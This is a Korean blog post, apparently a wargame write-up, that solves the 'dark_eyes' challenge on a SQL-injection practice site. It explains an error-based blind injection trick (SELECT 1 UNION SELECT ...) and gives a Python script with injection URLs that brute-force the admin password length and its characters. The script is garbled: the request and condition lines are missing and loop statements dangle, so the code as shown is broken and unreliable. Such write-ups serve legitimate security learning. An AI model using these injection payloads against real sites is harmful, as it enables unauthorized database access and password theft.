DoR@Hee의 끄적끄적
los - dark_eyes 본문
이 문제는 iron_golem과 비슷한 문제이지만 col | if | case-when 등 조건에 따른 구문을 막고 있다.
하지만 iron_golem에서 이용했던 select 1 union select 2를 이용해서 풀 수 있다.
' (싱글 쿼터)를 입력했을 때 에러 메시지가 나오겠지 하고 생각했으나
아무런 에러메시지가 안 나온다.
혹시 머라도 있을까 했지만 아무것도 없다 즉 쿼리가 참일 경우 아무것도 안 보이게 하고
쿼리가 거짓을 경우 원래 창이 보이도록 해야 한다.
쿼리를 일단 작성해 보았다 위와 같이 쿼리를 작성할 경우 서브 쿼리에 따른 반환 값이 1개 이기 때문에
원래 페이지를 유지하는 것을 확인할 수 있었다. 그것을 mysql에서 확인해보면
쿼리가 값이 한 개만 나오는 것을 확인할 수 있고
서브 쿼리에 반환이 2개 이상이기 때문에 에러가 발생한다
혹시 다른 문제처럼 한글인지 확인하기 위해서 [그림 8]과 같이 쿼리를 작성했고 1일 때 원래 페이지가 나오는걸 보아 길이가 1 인걸 확인할 수 있었다 [그림 8]과 같이 쿼리가 작성되는 이유는 mysql에서 확인 했을 때 다음과 같다.
[그림8] 과 같이 SELECT 1 UNION SELECT length(substr("aaa",1,1))=1을 작성했을 경우
문자열 "aaa"에 첫 번째 한자리의 길이가 1이 맞니?라고 물어보는 쿼리인데
substr은 참일 경우 1 거짓일 경우 0을 반환한다.
즉 서브 쿼리에서 반환되는 값이 1 한 개이기 때문에 에러는 발생 안 하며
[그림 9]과 같이 SELECT 1 UNION SELECT length(substr("aaa",1,1))=2를 작성했을 경우 쿼리는 거짓이기 때문에
2개의 결과값이 나오는 걸 확인할 수 있다.
이걸 기준으로 쿼리를 작성해 보자면
[그림 10]과 같이 쿼리를 작성하였을 때 원래 페이지인걸 보아 길이는 8자리
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
import requests
cookies = {'PHPSESSID': '62n1352bof8mn39dqtafh9rdp0'}
for lengths in range(1, 30):
length = 0
url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=%27%20or%20id%20=%20%27admin%27%20and%20(SELECT%201%20UNION%20SELECT%20length(pw)={0})--%20".format(lengths)
print("=====================================")
print("길이는{0}".format(lengths))
print("=====================================\n")
length = lengths
break
else:
continue
for i in range(1, length + 1):
for j in range(33, 127):
result = []
url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=%27%20or%20id%20=%20%27admin%27%20and%20(SELECT%201%20UNION%20SELECT%20ascii(substr(pw,{0},1))={1})--%20".format(
i, j)
print("{0}".format(chr(j)), end='')
break
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter
|
[코드 1] 파이썬 코드 작성
위 풀이를 기준으로 코드를 작성했고
'WarGame > los(los.rubiya.kr)' 카테고리의 다른 글
los - iron_golem (0) | 2019.04.25 |
---|---|
los - dragon (0) | 2019.03.30 |
los - xavis (1) | 2019.03.30 |
los - nightmare (0) | 2019.03.29 |
los - succubus (0) | 2019.03.28 |